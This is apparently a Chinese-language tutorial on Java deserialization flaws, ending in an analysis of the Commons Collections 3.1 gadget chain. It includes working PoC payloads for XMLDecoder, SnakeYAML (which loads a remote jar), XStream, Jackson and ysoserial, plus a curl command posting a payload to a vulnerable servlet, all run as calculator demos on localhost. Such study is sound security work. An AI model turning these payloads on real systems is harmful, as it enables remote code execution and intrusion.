目录

基础知识

Java 序列化是指把 Java 对象转换为字节序列的过程,实现java.io.Serializable(内部序列化)或java.io.Externalizable(外部序列化)接口的类即可被序列化。反序列化是指把字节序列恢复为 Java 对象的过程。例如下面的两个方法就是用于序列化与反序列化:

支持反序列化的对象必须满足:

需要注意的是反序列化类对象并不会调用该类构造方法,具体原因:

因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization创建了一个反序列化专用的Constructor(反射构造方法对象),使用这个特殊的Constructor可以绕过构造方法创建类实例。

简单例子

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package serialize;

import java.io.Serializable;

public class User implements Serializable{
private String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package serialize;

import java.io.*;

public class Main {
public static void main(String[] args) throws Exception{
User user = new User();
user.setName(("Threezh1"));

byte[] serializeData = serialize(user); // 创建是一个字节型的数据
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
User user2 = (User)unserialize(serializeData);
System.out.println(user2.getName());
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream(); // 创建一个32字节(默认大小)的缓冲区
ObjectOutputStream objOut = new ObjectOutputStream(btout); // 通过传入byte字节流来存储写入的对象
objOut.writeObject(obj); // 将对象写入流中
return btout.toByteArray(); // 创建一个新分配的字节数组。数组的大小和当前输出流的大小,内容是当前输出流的拷贝。
}

public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized); // 接收字节数组作为参数创建
ObjectInputStream objIn = new ObjectInputStream(btin); // 从输入流中读取Java对象
return objIn.readObject();
}
}

运行结果:

-w936

user.bin为对象序列化后的二进制文件:

-w815

根据序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC
所以在日常测试中,如果解开类似Base64后,起始为aced打头,可以尝试使用反序列化的payload。

自定义序列化(writeObject)和反序列化(readObject)

实现了java.io.Serializable接口的类还可以定义如下方法(反序列化魔术方法)将会在类序列化和反序列化过程中调用:

如果readObject被序列化的类重写并且写入了危险的语句,反序列化该类时可能会被恶意利用(当然这种一般不会出现):

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
package evilSerialize;

import java.io.*;

public class Evil implements Serializable {
public String cmd;

private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package evilSerialize;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {
public static void main(String[] args) throws Exception{
Evil evil = new Evil();
evil.cmd = "open /System/Applications/Calculator.app";

byte[] serializeData = serialize(evil);
unserialize(serializeData);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

运行后则会执行命令:

-w1004

反序列化触发点扩展

除了基本的ObjectInputStream.readObject,还有其他的几种触发方式:

1
2
3
4
5
6
7
ObjectInputStream.readObject// 流转化为Object
ObjectInputStream.readUnshared // 流转化为Object
XMLDecoder.readObject // 读取xml转化为Object
Yaml.load// yaml字符串转Object
XStream.fromXML// XStream用于Java Object与xml相互转化
ObjectMapper.readValue// jackson中的api
JSON.parseObject// fastjson中的api

不同的使用场景:

• http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
• Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed)
• xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
• json(Jackson,fastjson) http请求中包含

ObjectInputStream.readUnshared

ObjectInputStream.readObject类似,但readUnshared方法读取对象,不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。

XMLDecoder.readObject

Main.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package point_xmldecoder;

import java.beans.XMLDecoder;
import java.io.*;

public class Main{
public static void main(String[] args){
String poc = "/Users/threezh1/IdeaProjects/java_unserialize/src/point_xmldecoder/poc.xml";
try {
FileInputStream file = new FileInputStream(poc);
XMLDecoder decoder = new XMLDecoder(file);
decoder.readObject();
decoder.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/>
</object>
</java>

-w1789

Yaml.load

添加SnakeYAML库:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.25</version>
</dependency>

访问URL的payload:

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3333/\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

-w1789

RCE payload:

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

同时要在自己的web服务下准备一个jar文件,可以参考:https://github.com/artsploit/yaml-payload
AwesomeScriptEngineFactory.java里是被执行的java语句。

-w1789

XStream.fromXML

添加XStream库

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>

测试例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.thoughtworks.xstream.XStream;

public class Main {
public static void main(String[] args) {
String payload = "<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>/bin/sh</string>\n" +
" <string>-c</string>\n" +
" <string>open /System/Applications/Calculator.app</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>"+
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>\n";
XStream xStream = new XStream();
xStream.fromXML(payload);
}
}

-w1788

ObjectMapper.readValue

添加相应的库:

1
2
3
4
5
6
7
8
9
10
11
12
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect -->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.16</version>
</dependency>

JackJsonDemo.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package point_jackjson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JackJsonDemo {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"name\":\"Threezh1\",\"age\":20,\"cls\":[\"point_jackjson.Vuln\",{\"cmd\":\"open -a Calculator\"}]}";
System.out.println(mapper.readValue(json, Person.class));
}
}

Vuln.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package point_jackjson;

import java.io.IOException;

public class Vuln {
String cmd;

Vuln(){
System.out.println("init");
}

public String getCmd() {
System.out.println("get");
return cmd;
}

public void setCmd(String cmd) throws IOException {
System.out.println("set");
this.cmd = cmd;
Runtime.getRuntime().exec(cmd);
}
}

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package point_jackjson;

public class Person {
private String name;
private Integer age;
private Object cls;

public Integer getAge() {
return age;
}

public String getName() {
return name;
}

public Object getCls() {
return cls;
}

public void setCls(Object cls) {
this.cls = cls;
}

public void setAge(Integer age) {
this.age = age;
}


public void setName(String name) {
this.name = name;
}
}

-w1789

JSON.parseObject

留到后面再说。

反射机制

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

其实在Java中定义的一个类本身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

要得到类的方法和属性,首先就要得到该类对象

获取类对象的三种方法:

利用类对象创建对象

先获取到类对象,再通过类对象获取到构造器对象,再通过构造器对象创建一个对象。

1
2
3
4
5
6
7
8
9
10
11
12
package reflection;

import java.lang.reflect.*;

public class CreateObject {
public static void main(String[] args) throws Exception {
Class UserClass = Class.forName("reflection.User"); // reflection目录下的User类
Constructor constructor = UserClass.getConstructor(String.class); // 通过类对象获取到构造器对象
User user = (User) constructor.newInstance("Threezh1"); // 利用构造器对象创建一个对象
System.out.println(user.getName());
}
}
1
2
3
4
5
方法 说明
getConstructor(Class...<?> parameterTypes) 获得该类中与参数类型匹配的公有构造方法
getConstructors() 获得该类的所有公有构造方法
getDeclaredConstructor(Class...<?> parameterTypes) 获得该类中与参数类型匹配的构造方法
getDeclaredConstructors() 获得该类所有构造方法

利用反射调用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package reflection;

import java.lang.reflect.*;
import java.util.Arrays;

public class CallMethod {
public static void main(String[] args) throws Exception {
Class UserClass = Class.forName("reflection.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("Threezh1");
Method[] methods = UserClass.getDeclaredMethods(); // 获得该类所有方法

System.out.println(Arrays.toString(methods)); // 打印所有方法
Method method = UserClass.getDeclaredMethod("setName", String.class); // 获取该类某个方法
method.invoke(user, "Threezh1");
System.out.println(user.getName());
}
}
1
2
3
4
5
方法	说明
getMethod(String name, Class...<?> parameterTypes) 获得该类某个公有的方法
getMethods() 获得该类所有公有的方法
getDeclaredMethod(String name, Class...<?> parameterTypes) 获得该类某个方法
getDeclaredMethods() 获得该类所有方法

method.invoke(user, "Threezh1")中的invoke方法:

1
2
3
4
5
6
作用:调用包装在当前Method对象中的方法。
原型:Object invoke(Object obj,Object...args)
参数解释:
obj:实例化后的对象
args:用于方法调用的参数
返回:根据obj和args调用的方法的返回值

通过反射访问属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package reflection;

import java.lang.reflect.*;
import java.util.Arrays;

public class AccessAttribute {
public static void main(String[] args) throws Exception {
Class UserClass = Class.forName("reflection.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("sanzhi");

Field[] fields = UserClass.getDeclaredFields(); // 获取所有属性对象
System.out.println(Arrays.toString(fields));

Field field = UserClass.getDeclaredField("name"); // 获取某个属性对
field.setAccessible(true); // name是private属性,需要将其设置为可访问
field.set(user, "Threezh1"); // 设置值

System.out.println(user.getName());
}
}
1
2
3
4
5
方法	说明
getField(String name) 获得某个公有的属性对象
getFields() 获得所有公有的属性对象
getDeclaredField(String name) 获得某个属性对
getDeclaredFields() 获得所有属性对象

通过反射执行命令

1
2
3
4
5
6
7
8
9
package reflection;

public class Exec {
public static void main(String[] args) throws Exception {
Class runtimeClass = Class.forName("java.lang.Runtime");
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null); // getRuntime是静态方法,invoke时不需要传入对象
runtimeClass.getMethod("exec", String.class).invoke(runtime, "open /System/Applications/Calculator.app");
}
}

先通过getRuntime方法来获取RunTime的实例,再通过调用exec方法执行命令。
参考:java基础:java.lang.Runtime

Apache-CommonsCollections 反序列化利用初体验

这里利用3.2.1版本来进行测试,版本下载地址:Apache Commons Collections » 3.2.1

SimpleServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package demo;

import javax.servlet.ServletInputStream;
import java.io.*;

public class SimpleServlet extends javax.servlet.http.HttpServlet {
protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException {
ServletInputStream sis = request.getInputStream();

ObjectInputStream ois = new ObjectInputStream(sis);
try {
ois.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
ois.close();
}

protected void doGet(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException {
PrintWriter out = response.getWriter();
out.println("This is a demo");
}
}

web.xml

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>SimpleServlet</servlet-name>
<servlet-class>demo.SimpleServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>SimpleServlet</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>

用ysoserial来生成payload:

1
java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" > calc.payload

访问并执行payload:

1
curl "http://127.0.0.1:8080/demo" --data-binary "@./calc.payload"

-w1791

Apache CommonsCollections3.1 利用链分析

利用链复现

先引入commons-collections 3.1依赖包

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

Main.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package vuln;

import java.io.*;

public class Main {
public static void main(String[] args) throws Exception {
FileInputStream fileInputStream = new FileInputStream("calc.payload");
ObjectInputStream input = new ObjectInputStream(fileInputStream);
Object object = input.readObject();
input.close();
fileInputStream.close();
}
}

ysoserial.jar生成payload:

1
java -jar ysoserial.jar CommonsCollections1 "open -a Calculator" > calc.payload

运行即会执行open -a Calculator命令:

-w1790

(网上有很多种POC,我这里以最终写出来的poc为例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package vuln;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.*;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class step4 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "Threezh1");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 获取了AnnotationInvocationHandler类对象
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取了构造方法
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
// 将构造方法设置为可访问的状态
cons.setAccessible(true);
// 创建实例
Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins); // 将ins序列化
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject(); // 将ins反序列化
}
}

-w1791

之后的调用链分析都是以POC复现为基础的。

调用链分析

根据调用链中不同的类、函数,一共分为了以下部分:

  1. transform反射执行命令
  2. ChainedTransformer循环调用transform
  3. jdk1.7下的AnnotationInvocationHandler中readObject的调用过程

transform反射执行命令

通过刚刚的复现例子,我们能够跟踪到最终执行命令的点在:/org/apache/commons/collections/functors/InvokerTransformer.class 中的transform方法处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
// 省略
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs); // 最终执行命令的点
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}

-w1792

这个类实现了Transformer接口:

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

对于这个执行语句的点,可以写出下面的命令执行测试例子:

1
2
3
4
5
6
7
8
9
10
11
12
package vuln;

import org.apache.commons.collections.functors.InvokerTransformer;

public class EvalObject {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}

其中反射的语句等同于:

1
2
3
Class runtimeClass = Class.forName("java.lang.Runtime"); //获取类对象
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null); //获取实例
runtimeClass.getMethod("exec", String.class).invoke(runtime, "open -a Calculator"); // 调用exec方法

transform方法可以传递进入一个类实例并调用getClass()获取类对象,再通过类对象获取exec方法进行反射调用。

ChainedTransformer循环调用transform

但是这里如果要触发反射的话,必须要调用invokerTransformer.transform这个方法,并且还得传入一个Runtime.getRuntime()来进行利用。在org/apache/commons/collections/functors/ChainedTransformer.class的transform方法处就正好有这么一个利用点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
// 部分省略
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}

同样可以构造出一个利用的命令执行测试例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package vuln;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class step2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
// 1. 传入一个Runtime类对象,在循环中调用transform时会返回原本的类对象
// org/apache/commons/collections/functors/ConstantTransformer.class
new ConstantTransformer(Runtime.class),
// 2. 反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class}, // getMethod参数类型,第一个为函数名,第二个为函数的参数
new Object[] {"getRuntime", new Class[0]}), // 参数值
// 3. 反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0] }),
// 4. 反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("");
}
}

这个地方我理解起来比较慢,把每次循环都尝试截图出来分析才能明白。transformerChain.transform的调用过程类似于“套娃”,分别循环地传入反射最终调用exec方法执行命令。这个过程一共经历了4次循环,每一次循环的大致过程如下:

  1. ConstantTransformer.transform()返回Runtime类对象赋值给Object
  2. InvokerTransformer.transform("getMethod")获取到Runtime.getRuntime()方法赋值给Objecttransform方法有已经存在了一个getMethod方法用于调用我们传入的getMethod,所以这里传入的getMethod方法名只是为了通过反射获取到一个getRuntime()方法。(稍微有点绕,建议把transform方法里的调用语句多看几遍)
  3. InvokerTransformer.transform("invoke")调用了invoke方法创建了一个Runtime实例化对象赋值给Object。因为getRuntime()方法不需要参数,所以传递进去的第一个参数为null,第二个参数为new Object[0]就是传一个长度为1的Object数组过去,内容也为null
  4. 最后反射调用exec执行命令

现在相比于之前直接调用invokerTransformer.transform方法来说,只需要传递一个空值即可。目前来说还是不够,接着在/org/apache/commons/collections/map/TransformedMap.class里找到了一个可以调用transformerChain.transform的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer); // 在这里获取TransformedMap实例
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer; // valueTransformer是可控的
}

protected Object transformValue(Object object) {
// 这里调用了valueTransformer.transform()方法
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

protected Object checkSetValue(Object value) {
// 这里也调用了valueTransformer.transform()方法
return this.valueTransformer.transform(value);
}

public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value); // 调用transformValue
return this.getMap().put(key, value);
}
}

通过decorate方法我们可以获取一个TransformedMap实例,并且this.valueTransformer还是可控的,可以将其赋值为ChainedTransformer对象,当调用这个类的checkSetValue方法或者transformValue方法时就可以调用ChainedTransformer对象的transform方法了。

写出命令执行测试例子如下(这里是通过put方法间接调用this.transformValue方法进行利用):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package vuln;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class step3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); // 创建一个Map传递给decorate函数获取实例
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("key", "value"); // 触发transformValue方法
}
}

-w1790

目前来说,只需要寻找到一个被重写了的readObject方法,其中可以调用TransformedMap的put方法或者直接调用的checkSetValuetransformValue方法即可。

jdk1.7下的AnnotationInvocationHandler中readObject的调用过程

在jdk小于等于1.7时,jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class中的readObject中有存在一个setValue方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // entrySet() //返回此映射中包含的映射关系的 Set 视图。 Map.Entry表示映射关系; iterator() 返回该集合的迭代器对象

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
// 存在一个setValue方法
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

跟入这个setValue方法到/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.class。可以看到这里所调用的就是TransformedMapcheckSetValue方法。原因是TransformedMap类是继承了AbstractInputCheckedMapDecorator这个抽象类,MapEntry是这个抽象类的一个静态类,我们传入的第二个参数是TransformedMap对象,从this.memberValuesvar4再传递到var5调用setValue。所以this.parent也就是指的TransformedMap类了(因为我对java的这种类型的转换了解的太浅,所以传递的过程是比较粗略的理解)。

-w1788

-w1789

到这里就把poc的所有过程全部串起来了,从setValue开始,调用checkSetValue,进而触发ChainedTransformer对象的transform方法,循环嵌套最终执行命令。

关于java.lang.annotation.Retention的疑问

这里还有最后一个疑问,就是为什么第一个参数我们传递的是java.lang.annotation.Retention,自己调试了半天没看出来,在先知的一篇文章上找到了如下说明:

我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如java.lang.annotation.Retentionjava.lang.annotation.Target 都可以触发,而java.lang.annotation.Documented 则不行。

为什么java.lang.annotation.Documented不行呢?

可以跟一下传递的参数,会发现,innerMap.put("value", "hello");中,第一个键名只能为value。这个问题的原因是在调用setValue前有一个对var7变量的判断,而这个var7变量的值是从var3中获取到的,var3var2.memberTypes();获取到的,通过get方法获取了键名为var6的值,var6其实就是我们传递的参数中的第一个键名。因为var2.memberTypes();默认返回的就是一个带有value的键名,所以如果传递的参数的第一个键名与这个值不相同的话,获取到的var7就为空,也就无法调动到setValue那里去了。而java.lang.annotation.Documented经过memberTypes();返回的是一个空值,所以就不行。(跟它的定义方法中是否有RetentionPolicy value()有关,目前暂只作了解)

-w1790

-w1790

-w1276

总结

引用先知上一篇文章的图:

参考